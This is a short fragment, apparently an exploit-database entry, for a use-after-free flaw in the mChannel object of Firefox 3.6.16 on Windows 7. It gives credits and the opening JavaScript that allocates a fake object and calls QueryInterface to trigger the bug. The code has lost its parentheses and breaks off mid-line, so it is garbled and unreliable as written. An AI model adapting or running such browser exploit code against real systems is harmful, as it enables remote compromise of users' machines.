Mozilla Firefox 3.6.16 (Windows 7) - mChannel Object Use-After-Free

Mozilla mChannel Object use after free - Found by regenrecht - MSF exploit by Rh0 - Win 7 fun version by mrme function trigger alert'ready?'; fakeobject = document.getElementById"d"; // allocate the object fakeobject.QueryInterfaceComponents.interfaces.nsIChannelEventSink; // append to the object...